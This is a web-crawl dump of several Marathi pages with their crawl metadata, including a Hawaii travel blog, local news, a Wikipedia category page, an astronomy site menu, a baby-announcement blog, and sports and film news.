अशक्य विरोधाभासांचा प्रत्यय देणारा प्रदेश. युगानुयुगे जपानी वर्चस्वाखाली राहिलेला पॉलिनेशियन्स लोकांचा प्रदेश. परंतु १८४८ पासुन अमेरिकेचा संबंध आला. तसा विचार केला तर भौगोलिक दृष्ट्या अमेरिकेची मालकी न्यु यॉर्क फ्लोरिडा पासुन कॅलिफोर्निआ वॉशिंग्टन पर्यंत तर पसरली आहेच परंतु त्याहीपलिकडे हवाई, अलास्का, गुआम आणि थेट हिंदी महासागरात दिएगो गार्सिआ पर्यंत पसरली आहे. पूर्वेला देखील फ्लोरिडाच्या पलिकडे प्युएर्तो रिको सुद्दा अमेरिकेचाच प्रदेश. खरे तर अमेरिका सुरुवातीला १३ राज्यांची (वसाहतींची) मिळुन बनली होती. मुख्यत: सध्याच्या न्युयॉर्क-वॉशिंग्टन भागात तिचे केंद्र होते. १८०३ मध्ये नेपोलियन कडुन त्याकाळातील लुईझियाना राज्य जेफरसनने अमेरिकेला जोडले. पुढे मन्रो या धोरणी राजनीतीज्ञाच्या शिकवणीकीनुसार अमेरिकेने प्रसरणाचे धोरण स्वीकारले. तेव्हापासुन एकापाठोपाठ टेक्सास, कॅलिफोर्निआ आणि मिसिसिपी नदीच्या पश्चिमेला असलेला सर्वच भाग गिळंकृत केला किंवा जिंकला. पुढे रशिया कडुन अलास्का विकत घेतले. अतिशय दूरदृष्टी लाभलेले आणि विजीगिषु नेतृत्वाची देणगी अमेरिकेला कायमच मिळाली आहे. असो ... तर हवाईचा नेमका इतिहास वाचला नसला तरिही जपान आणि अमेरिकेच्या टक्करीची कल्पना येऊ शकते.\nहवाईवर असलेला जपानी भाषा, वास्तुकला, संस्कृती यांचा प्रभाव ठायी ठायी जाणवतो. माऊई, हवाई, हालायेकला, लनाई, लहेना, हाना, कीहे, होकुलावे, माआलेआ अशी किती किती मुके घेऊ अशी नावे. जपानी पद्धतीची उभी आणि वळणदार छतांची घरे. वर्षभर २२-२५ अंश सेल्सिअस आणि आश्चर्यकारक म्हणजे आर्द्रता विशेष काही नसलेले हवामान. दुसरे आश्चर्य म्हणजे वडांची झाडे बेटावर पहिल्यांदाच पाहिले. इथले वड आपल्या मावळातल्या वडासारखे धिप्पाड वाटत नाहीत .... तर त्यांच्यामध्ये एक नक्षी, एक नृत्य एक गेयता जाणवते. जणुकाही समुद्राच्या लाटांसोबत आणि वाऱ्याच्या लहरींसोबत त्यांचेही हृदय द्रवल्यासारखे. समुद्र आणि वड हे दुसरे अद्भुत रसायन इथे पाहिले. आमच्या हॉटेलच्या बाहेरच एक अप्रतिम वड होता. त्याच्या खाली तासनतास घालवावेत. परंतु मोठा वड पाहिला तो लहेना गावामध्ये ३-४ एकरात पसरलेला. गावाच्या मुख्य चौकात या वडाचे चांगले संवर्धन केले आहे. मागच्या दोन एकशे वर्षात याच्या फांद्या सगळीकडे पसरल्या आहेत त्यांना ठिकठिकाणी आधार देऊन त्याचा परिसर वावरता येईल असा केला आहे. मला फर्ग्युसनमधील एक प्रसिद्ध १०० एक वर्षांचा वड आठवला. मैदानाच्या एका कडेला हनुमान टेकडीच्या खाली व्यायामशाळेला लागुन तो वड होता. आम्ही त्याच्या खाली बुद्दिबळ खेळत असू, अभ्यास आणि टवाळक्या केलेल्या ... त्याची मुळे जमिनीच्या वाहुन जाण्यामुळे उघडी पडलेली ... एका वादळात तो उन्मळुन पडला. ९२-९३ साल असावे. फर्ग्युसनचा कुठेतरी एक अंश गळुन पडला.\nअसो .... आज इथेच थांबतो .. दोन दिवसांनंतर पुन्हा लिहायला घेईन. परंतु हवाईची सहल अतिशय सुंदर झाली. ७ दिवसांनंतरही मन पुन्हा पुन्हा तिथेच धाव घेते आहे.\nहवाहवाइ मस्त जमला आहे..\nसुंदर .. लिहित राहा..\nहवाहवाई - भाग १ माऊई कडे प्रयाण\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00322.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://pclive7.com/tag/%E0%A4%B5%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B8-%E0%A4%95%E0%A4%BE%E0%A4%AE%E0%A5%87/", "date_download": "2018-09-25T17:59:38Z", "digest": "sha1:BPIWAD7JXA7LG2UD7SLHSMXQ2RWSWN2F", "length": 3533, "nlines": 48, "source_domain": "pclive7.com", "title": "विकास कामे | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nसांगवीच्या विकासकामांत प्रशांत शितोळेंची आडकाठी; भाजपच्या चारही नगरसेवकांचा हल्लाबोल\nपिंपरी (Pclive7.com):- प्रभाग क्रमांक ३२ मधील स्मशानभूमीचे आणि रस्त्यांची कामे तातडीने करावीत, यासाठी वारंवार पाठपुरावा करून देखील महापालिका प्रशासन बघ्याची भूमिका घेत आहे. माजी नगरसेवक प्रश...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00322.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%B5%E0%A4%B0%E0%A5%8D%E0%A4%97:%E0%A4%87.%E0%A4%B8._%E0%A5%A7%E0%A5%AC%E0%A5%AD%E0%A5%A9_%E0%A4%AE%E0%A4%A7%E0%A5%80%E0%A4%B2_%E0%A4%AE%E0%A5%83%E0%A4%A4%E0%A5%8D%E0%A4%AF%E0%A5%82", "date_download": "2018-09-25T17:17:27Z", "digest": "sha1:EILKNSZH2ZBRTRJKIWWLMDO5QWRMZPG7", "length": 4326, "nlines": 154, "source_domain": "mr.wikipedia.org", "title": "वर्ग:इ.स. १६७३ मधील मृत्यू - विकिपीडिया", "raw_content": "\nवर्ग:इ.स. १६७३ मधील मृत्यू\n\"इ.स. १६७३ मधील मृत्यू\" वर्गातील लेख\nया वर्गात फक्त खालील लेख आहे.\nइ.स.च्या १६७० च्या दशकातील मृत्यू\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल १० सप्टेंबर २०१४ रोजी २३:०८ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00322.warc.wet.gz", "language": "mr", "language_score": 0.85, "bucket": "all"} {"url": "http://avakashvedh.com/antaraal/messier.html", "date_download": "2018-09-25T16:34:11Z", "digest": "sha1:MU32OLVP3BPFWETLFPJXFVV4PP7ZOVUY", "length": 16196, "nlines": 595, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nअवकाशातील ११० मेसियर वस्तू\nइगल तेजोमेघ आणि स्टार क्वीन तेजोमेघ संबंधित\nओमेगा तेजोमेघ, स्वान तेजोमेघ, लॉबस्टर तेजोमेघ\nसॅजिटरीअस स्टार क्लाऊड, डेल क्लास्टीश\nमेरनचा तेजोमेघ, मृग तेजोमेघचा भाग\nसुबारु, कृत्तिका, सात बहिणी\nलिटील डंबेल तेजोमेघ, कोर्क तेजोमेघ\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00323.warc.wet.gz", "language": "mr", "language_score": 0.68, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/04/blog-post_18.html", "date_download": "2018-09-25T17:46:57Z", "digest": "sha1:HOIPGDLZUN4UXJKT7RFKYL7LHSBZ5UTI", "length": 5642, "nlines": 100, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: क्लीन बोल्ड, चारी मुंडया चीत, मार डाला", "raw_content": "\nक्लीन बोल्ड, चारी मुंडया चीत, मार डाला\nसलोनीबाईंचे ३ आठवडे आधी आगमन झाले सविस्तर कहाणी मागाहुन पोस्ट करेन... आत्ता हॉस्पिटलमधुनच हे फोटो ब्लॉगवर टाकतो आहे\nबाबा आणि सलोनी (वय वर्षे ४ मिनिटे\nआई आणि सलोनी (वय वर्षे २ मिनिटे \nदादु खुष दिसतोय.. छोट्य़ाश्या बहिणिला कडेवर घेउन.. मस्त आले आहेत फोटॊ..आणि सलोनी पण सुंदर आहे.\nखूप दिवस झाले तुमचा ब्लॉग वाचत आहे. मूकवाचक. आज रहावलेच नाही. खूप खूप आणि खूप अभिनंदन. सिद्धोबा दिसले. मी कल्पना केल्यापेक्षा थोडा वेगळा आहे.छान आहे तोही आणि बाळ ही.\nहार्दिक अभिनंदन...कधीपासुन ठरवलं होतं रिप्लाय करेन पण माझा छकुला लहान (आता अकरा महिने) असल्याने जमलं नाही. खुशी अगदी ओसंडुन वाहतेय सर्वांच्या चेह-यावरुन. काय हो ही सगळी बाळं लहान असताना साधारण सारखी वाटतात का I mean Indian हं नाहीतर इथे त्यांची थोडी वेगळी असणारच. सलोनीला पाहिल्यावर मला हॉस्पिटलमधला आरुष का आठवतोय सारखा I mean Indian हं नाहीतर इथे त्यांची थोडी वेगळी असणारच. सलोनीला पाहिल्यावर मला हॉस्पिटलमधला आरुष का आठवतोय सारखा\nअपर्णा, तुमचे म्हणणे खरे आहे... मला सगळी बाळे एकसारखीच दिसतात. कदाचीत म्हणुनच अमेरिकेत ही डिजिटल ब्रेसलेट देत असावेत घोटाळा होऊ नये माझ्या एका मित्राला मुलगा झाला डेनव्हरमध्ये ७ दिवसांपूर्वी - त्यांनीपण नाव आरुष ठेवले.\nक्लीन बोल्ड, चारी मुंडया चीत, मार डाला\nसलोनीची गुगली आणि आमची धावपळ\nएक मित्र .. इरफान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00323.warc.wet.gz", "language": "mr", "language_score": 0.81, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%95%E0%A5%89%E0%A4%82%E0%A4%97%E0%A5%8D%E0%A4%B0%E0%A5%87%E0%A4%B8-%E0%A4%9C%E0%A5%87%E0%A4%A1%E0%A5%80%E0%A4%8F%E0%A4%B8-%E0%A4%86%E0%A4%98%E0%A4%BE%E0%A4%A1%E0%A5%80%E0%A4%9A%E0%A5%87/", "date_download": "2018-09-25T16:33:30Z", "digest": "sha1:E76VL5B34PVQAMFR53LPS2KGLGKV7HNU", "length": 7088, "nlines": 141, "source_domain": "www.dainikprabhat.com", "title": "कॉंग्रेस-जेडीएस आघाडीचे सरकार चालविणे हे आव्हानच- कुमारस्वामी | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nकॉंग्रेस-जेडीएस आघाडीचे सरकार चालविणे हे आव्हानच- कुमारस्वामी\nबंगळूरू : काँग्रेस आणि धर्मनिरपेक्ष जनता दल (जेडीएस) आघाडीचे सरकार चालवणे ही सोपी गोष्ट नसून ते माझ्यासाठी मोठे आव्हान ठरणार आहे, अशी कबुली जेडीएसचे नेते एच. डी. कुमारस्वामी यांनी श्रृंगेरी येथे दिली. कुमारस्वामी आज मुख्यमंत्रीपदाची शपथ घेणार असून त्यांच्याबरोबर अन्यही काही मंत्र्यांचा शपथविधी होण्याची शक्यता आहे. काँग्रेसला उपमुख्यमंत्रीपद मिळणार असून जी. परमेश्वर बुधवारी शपथ घेतील.\nआद्य शंकराचार्य यांच्या श्रृंगेरीतील मठात दर्शनासाठी आले असताना ते पत्रकारांशी बोलत होते. ते म्हणाले की, मुख्यमंत्री म्हणून मी माझ्या जबाबदाऱ्या सहजपणे पार पाडू शकेन, असे मला वाटत नाही. लोकांमध्येही साशंकता आहे. ती केवळ माझ्याबद्दलच नाही, तर हे सरकार कामकाज उत्तमपणे पार पाडेल की नाही, याबद्दलही आहे. पण जगद्गुरू शंकराचार्य आणि शारदाम्बा देवी यांच्या आशीर्वादाने सर्व सुरळीत पार पडेल, असा मला विश्वास वाटतो.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleमुस्लिम आमदारांचे मंत्रालयातच धरणे\nNext articleनिवडक खरेदीमुळे निर्देशांकांत अल्प वाढ\nपंतप्रधान, संरक्षणमंत्र्यांनी तात्काळ राजीनामा द्यावा\nएकाच विचारसरणीवर देश चालू शकत नाही – राहुल गांधी\nराफेल डील : पंतप्रधान मोदींचा अंबानीसोबत सैन्यावर सर्जिकल स्ट्राईक\nराफेल डील : पंतप्रधान मोदींनी देशाचा विश्‍वासघात केला\nयुजीसी 8 नोव्हेंबरलाही सर्जिकल स्ट्राईक दिन साजरा करणार का\nमायावतींच्या निर्णयाने भाजपलाच लाभ – कॉंग्रेस\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00323.warc.wet.gz", "language": "mr", "language_score": 0.87, "bucket": "all"} {"url": "http://www.pudhari.news/news/Soneri/Tiger-Shroff-Launch-Trailer-Song-of-Gavthi/", "date_download": "2018-09-25T17:16:47Z", "digest": "sha1:GHW2GRZI4ZEBP2T6OHUWMASF2NDOYLNX", "length": 6144, "nlines": 36, "source_domain": "www.pudhari.news", "title": " ‘बागी-२’ सोडून टायगरने केले मराठी सिनेमाचे प्रमोशन | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Soneri › ‘बागी-२’ सोडून टायगरने केले मराठी सिनेमाचे प्रमोशन\n‘बागी-२’ सोडून टायगरने केले मराठी सिनेमाचे प्रमोशन\nबॉलीवूड स्टार टायगर श्रॉफने मैत्रीचा एक वेगळाच वस्तुपाठ सिनेविश्वासाठी घालून दिला आहे. केवळ बॉलीवूडच नाही तर अवघ्या सिनेसृष्टीतील प्रत्येक कलाकार स्वत:च्या सिनेमाच्या प्रमोशनच्या बाबतीत कमालीचा सजग असतो. पण टायगर स्वत:च्या ‘बागी-२’ या सिनेमाच्या ऐवजी त्याच तारखेला प्रदर्शित होणाऱ्या एका मराठी सिनेमाचे प्रमोशन करतोय.\nयेत्या ३० मार्चला टायगर श्रॉफचा ‘बागी-२’ आणि मराठीत आर.बी. प्रोडक्शन निर्मित ‘गावठी’ हा चित्रपट एकाच दिवशी प्रदर्शित होत आहेत. खरंतर दोन्ही भिन्न भाषेतील आणि प्रकाराचे चित्रपट असले तरी एकाच दिवशी प्रदर्शित होणाऱ्या ह्या चित्रपटांमध्ये महाराष्ट्रात तरी सिनेमागृह आणि प्रेक्षक मिळविण्यासाठी स्पर्धा नक्कीच आहे. या सिनेमाचा दिग्दर्शक आनंद कुमार उर्फ अॅण्डीने केले आहे. अॅण्डी नृत्य दिग्दर्शक रेमो डीसोजा यांचा सहायक असून 'फ्लाईंग जाट' या चित्रपटात टायगरला डान्सस्टेप तसेच सीन समजावून सांगण्याचे काम त्यानेच केले होते. त्यानंतरही टायगरने अॅण्डीशी मैत्री कायम ठेवली होती आणि आता त्याच मैत्रीसाठी तो मराठी चित्रपटाचे प्रमोशन करत आहे.\nमुंबईत 6 मार्च रोजी एका सोहळ्यात टायगर श्रॉफ आणि प्रसिद्ध नृत्य दिग्दर्शक बॉस्को यांच्या हस्ते ‘गावठी’ या चित्रपटाच्या ट्रेलर आणि दुसऱ्या गाण्याचे संगीत प्रकाशीत झाले. इतकेच नव्हे तर टायगर ने आणि बॉस्को ‘भन्नाट’ या धडाकेबाज आयटम साँगवर अॅण्डीसोबत मनसोक्त थिरकले.\n‘बागी-२’ आणि ‘गावठी’ एकाच दिवशी प्रदर्शित होत असले तरीही मी ‘गावठी’ नक्कीच पाहणार असल्याचे टायगरने सांगितले. येत्या ३० मार्च रोजी ‘गावठी’ चित्रपट महाराष्ट्रभरात प्रदर्शित होणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00323.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/SPO-SOTH-LCL-fifaworldcup-russia-reached-in-quarter-final-by-defeating-spain-5907466-PHO.html", "date_download": "2018-09-25T16:39:28Z", "digest": "sha1:F3JBMVYLA4VPAR6FKD2TKJV7BAAPHUXO", "length": 10354, "nlines": 169, "source_domain": "divyamarathi.bhaskar.com", "title": "Fifa World Cup 2018: Russia reached in Quarter Final, Spain out from FIFA | Fifa World Cup : स्पेनला नमवून रशिया अंतिम अाठमध्ये दाखल; प्रथमच गाठली उपांत्यपूर्व फेरी", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nFifa World Cup : स्पेनला नमवून रशिया अंतिम अाठमध्ये दाखल; प्रथमच गाठली उपांत्यपूर्व फेरी\nरशिया 1970 मध्येही क्वार्टर फायनलमध्ये पोहोचला होता. पण तेव्हा रशिया सोव्हीएत संघाचा भाग होता.\nमाॅस्काे- यजमान रशियाने घरच्या मैदानावर एेतिहासिक विजयासह फिफाच्या २१ व्या विश्वचषक फुटबाॅल स्पर्धेच्या उपांत्यपूर्व फेरीत धडक मारली. यजमानांनी रविवारी नाॅकअाऊटच्या सामन्यात २०१० च्या विश्वविजेत्या स्पेनवर सनसनाटी विजयाची नाेंद केली. जागतिक क्रमवारीत ७० व्या स्थानावर असलेल्या रशियाने पेनल्टी शूटअाऊटमध्ये ४-३ ने सामना जिंकला. रशियाने अंतिम अाठमधील अापला प्रवेश निश्चित केला.\nगाेलरक्षक इगाेरच्या उल्लेखनीय कामगिरीच्या बळावर यजमान रशियाने विजयश्री खेचून अाणली. त्याने स्पेनच्या काेके अाणि अस्पासचा गाेल राेखून अापल्या टीमचा विजय निश्चित केला. यामुळे रशियाला विजयाची नाेेंद करता अाली.\nनिर्धारित वेळेपर्यंत ही लढत १-१ ने बराेबरीत हाेती. त्यानंतरही अतिरिक्त वेळेत ही लढत बराेबरीतच राहिली. अखेर निकालासाठी पेनल्टी शूटअाऊटचा अाधार घेण्यात अाला. यामध्ये यजमान रशियाचा संघ वरचढ ठरला. संघातील स्माेलाेव, इग्नाशेविक, गाेलाेविन अाणि चेरीशेवने पेनल्टीवर राेमहर्षक गाेल केले.यामुळे रशियाचा संघ विजयी झाला.\nकाेके, अस्पासच्या अपयशाने स्पेनचे पॅकअप\nपेनल्टी शूटअाऊटमध्ये स्पेनला पहिली संधी मिळाली. त्यानुसार अनुभवी फुटबाॅलपटू इनिस्ताने गाेल करून स्पेनला अाघाडी मिळवून दिली. तसेच पिक्युनेही गाेल केला. मात्र, तिसऱ्या संधीदरम्यान काेके अपयशी ठरला. त्यानंतर रशियाने ३-२ ने अाघाडी घेतली. राेमासच्या गाेलने स्पेनला बराेबरी साधता अाली. शेवटच्या संधीत अस्पास अपयशी ठरला.\n२४ तासांत माेठा पराभव\nअवघ्या २४ तासांत यंदाच्या विश्वचषक फुटबाॅल स्पर्धेत तीन बलाढ्य संघांना अनपेक्षित पराभवाने पॅकअप करावे लागले. यात लियाेेनेल मेसीच्या अर्जेंटिना, राेनाल्डाेच्या पाेर्तुगाल अाणि अाता डिएगाे काेस्टाच्या स्पेनचा समावेश अाहे. किताबाचे प्रबळ दावेदार मानले जाणारे हे तिन्ही संघ स्पर्धेतून बाहेर पडले.\nपेनल्टी शूटअाऊटमध्ये बाजी मारणारा रशिया हा अातापर्यंतच्या इतिहासातील पाचवा यजमान संघ ठरला. यापूर्वी चार यजमानांनी अशा परिस्थितीत विजयाची नाेंद कली.\nवर्ल्डकपमधील २७ व्या पेनल्टी शूटअाऊटची नोंद\nस्पेन अाणि रशियाचा सामना पेनल्टी शूटअाऊटमध्ये रंगला. हा विश्वचषकाच्या इतिहासातील २७ वी पेनल्टी शूटअाऊट ठरला. तसेच यंदाच्या विश्वचषकात पहिल्यांदा याची नाेंद करण्यात अाली अाहे.\nस्पेनने रशियाच्या तुलनेत केले अधिक पास\nटीम गोलचे प्रयत्न कॉर्नर बॉल पझेशन पास पास अॅक्यूरेसी येलो कार्ड\nचॅम्प अाेसाकाने रचला इतिहास; सेरेनाने खेळला वादाचा सामना\nUS Open: ओसाका यूएस ग्रँडस्लॅम जिंकणारी पहिली जपानी महिला; सेरेनाने रॅकेट आपटला, अंपायरवर लावले आरोप\nAsian Games: आंतरराष्ट्रीय मेडल जिंकून देशात परतला, तिसऱ्याच दिवशी टपरीवर चहा विकतोय हा खेळाडू; म्हणाला, दोन्ही बहिणी दृष्टीहीन, वडिलांची मदत करणे आवश्यक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00323.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/news/article-252817.html", "date_download": "2018-09-25T17:41:03Z", "digest": "sha1:QHDHZXW6WQ27646FL67ZLYMOT4HEO3YM", "length": 12418, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "3 वर्षांनंतर राणीचा 'हिचकी'मधून कमबॅक", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n3 वर्षांनंतर राणीचा 'हिचकी'मधून कमबॅक\n28 फेब्रुवारी : 2014च्या 'मर्दानी' सिनेमात राणी मुखर्जी शेवटची दिसली.3 वर्षांच्या या ब्रेकनंतर राणी घरचं बॅनर यशराज फिल्म्समधून मोठ्या पडद्यावर कमबॅक करणारेय.'हिचकी' या तिच्या कमबॅक सिनेमात राणी एका आत्मविश्वासू आणि प्रेरणा घेता येईल अशी भूमिका साकारणार आहे.\nयश राज फिल्म्स म्हणजेच घरचीच निर्मिती असलेल्या या सिनेमाबद्दल बोलताना ती म्हणाली, 'मी गेले अनेक दिवस एका चॅलेन्जिंग आणि उत्तम कथेच्या शोधात होते आणि हिचकी अगदी तशीच कथा आहे. आपल्या कमकुवतपणावर मात करून एक स्त्री कशी सकारात्मक आयुष्य जगते असं यातून दिसतं.' अर्थात, सिनेमाबद्दल तिनं जास्त काही सांगितलं नाही.\nसिद्धार्थ मल्होत्रा या सिनेमाचं दिग्दर्शन करणारेय.राणीचा मर्दानी सगळ्यांनाच आवडला होता. आता 'हिचकी'बद्दल नक्कीच राणीच्या फॅन्सना उत्सुकता आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला आणि टि्वटरवर फाॅलो करा Follow @ibnlokmattv\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल 